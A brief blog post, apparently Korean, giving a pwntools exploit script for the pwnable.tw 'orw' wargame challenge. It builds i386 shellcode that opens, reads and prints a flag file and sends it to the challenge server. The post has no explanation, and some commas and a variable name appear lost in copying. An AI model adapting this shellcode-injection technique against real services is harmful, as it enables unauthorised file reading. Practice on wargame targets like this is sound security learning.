Wargame/▷ pwnable.tw

[pwnable.tw] orw

Gyeongje 2018. 7. 29. 12:25
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
 
= remote('chall.pwnable.tw'10001)
context(arch='i386', os='linux')
 
sm = ''
sm += shellcraft.open('/home/orw/flag')                                                        
sm += shellcraft.read(3'esp'50)      
sm += shellcraft.write(1'esp'50)      
sm += shellcraft.exit()      
 
r.sendlineafter(':', asm(sm))
 
r.interactive()
cs